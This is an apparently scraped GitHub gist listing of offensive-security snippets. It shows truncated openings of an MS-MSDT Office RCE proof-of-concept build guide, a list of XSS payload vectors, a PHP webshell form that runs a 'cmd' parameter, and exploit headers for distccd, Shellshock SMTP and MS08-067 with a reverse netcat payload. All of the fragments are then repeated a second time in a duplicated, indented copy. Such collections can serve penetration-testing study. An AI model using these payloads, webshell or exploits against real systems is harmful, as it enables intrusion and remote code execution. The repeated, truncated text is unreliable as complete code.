Juan Pablo Perata cxzero

## watcher-executor.cs
using System;
using System.IO;
using System.Text;
using System.Threading;
using System.Diagnostics;

public class FileWatcher
{
    static FileSystemWatcher watcher;
    static Process p;

## watcher-network.cs
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Net.Sockets;

namespace tcp_client_file_write
{
    internal class Program
    {

## ms-msdt.MD

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                cxzero
                / ms-msdt.MD
            
            
              Created
              June 10, 2022 01:30
                — forked from tothi/ms-msdt.MD
            
              
                The MS-MSDT 0-day Office RCE Proof-of-Concept Payload Building Process
              
          
    MS-MSDT 0-day Office RCE

MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).
The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).
Here are the steps to build a Proof-of-Concept docx:

Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.


## xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

## distccd_rce_CVE-2004-2687.py
#!/usr/bin/python

# -*- coding: utf-8 -*-

'''
	distccd v1 RCE (CVE-2004-2687)

	This exploit is ported from a public Metasploit exploit code :
		https://www.exploit-db.com/exploits/9915

## command.xml
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
	<methodName>wp.uploadFile</methodName>
	<params>
		<param><value><string>1</string></value></param>
		<param><value><string>username</string></value></param>
		<param><value><string>password</string></value></param>
		<param>
			<value>
				<struct>

## easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {

## exploit.py
#!/bin/python
# Exploit Title:  Shellshock SMTP Exploit
# Date: 10/3/2014
# Exploit Author: fattymcwopr
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/
# Version: 4.2.x < 4.2.48
# Tested on: Debian 7 (postfix smtp server w/procmail)
# CVE : 2014-6271


## ms08-067-fixed.py
#!/usr/bin/python
###############################################################################################
#   MS08-067 Exploit - Auto Reverse NetCat Payload Mod by 3mrgnc3                             #
#   Designed for Kali Linux - msfvenom and nc required to function                            #
#   Based on Ported Exploit By EKOZ https://github.com/jivoi https://jivoi.github.io/         #
#   Modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).   #
#   The ret addr & ROP parts are ported from MSF Module exploit/windows/smb/ms08_067_netapi   #
###############################################################################################

import struct
	using System;
	using System.IO;
	using System.Text;
	using System.Threading;
	using System.Diagnostics;

	public class FileWatcher
	{
	static FileSystemWatcher watcher;
	static Process p;
	using System;
	using System.IO;
	using System.Net;
	using System.Text;
	using System.Net.Sockets;

	namespace tcp_client_file_write
	{
	internal class Program
	{
	%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
	#!/usr/bin/python

	# -- coding: utf-8 --

	'''
	distccd v1 RCE (CVE-2004-2687)

	This exploit is ported from a public Metasploit exploit code :
	https://www.exploit-db.com/exploits/9915
	<?xml version='1.0' encoding='utf-8'?>
	<methodCall>
	<methodName>wp.uploadFile</methodName>
	<params>
	<param><value><string>1</string></value></param>
	<param><value><string>username</string></value></param>
	<param><value><string>password</string></value></param>
	<param>
	<value>
	<struct>
	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{
	#!/bin/python
	# Exploit Title: Shellshock SMTP Exploit
	# Date: 10/3/2014
	# Exploit Author: fattymcwopr
	# Vendor Homepage: gnu.org
	# Software Link: http://ftp.gnu.org/gnu/bash/
	# Version: 4.2.x < 4.2.48
	# Tested on: Debian 7 (postfix smtp server w/procmail)
	# CVE : 2014-6271
	#!/usr/bin/python
	###############################################################################################
	# MS08-067 Exploit - Auto Reverse NetCat Payload Mod by 3mrgnc3 #
	# Designed for Kali Linux - msfvenom and nc required to function #
	# Based on Ported Exploit By EKOZ https://github.com/jivoi https://jivoi.github.io/ #
	# Modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/). #
	# The ret addr & ROP parts are ported from MSF Module exploit/windows/smb/ms08_067_netapi #
	###############################################################################################

	import struct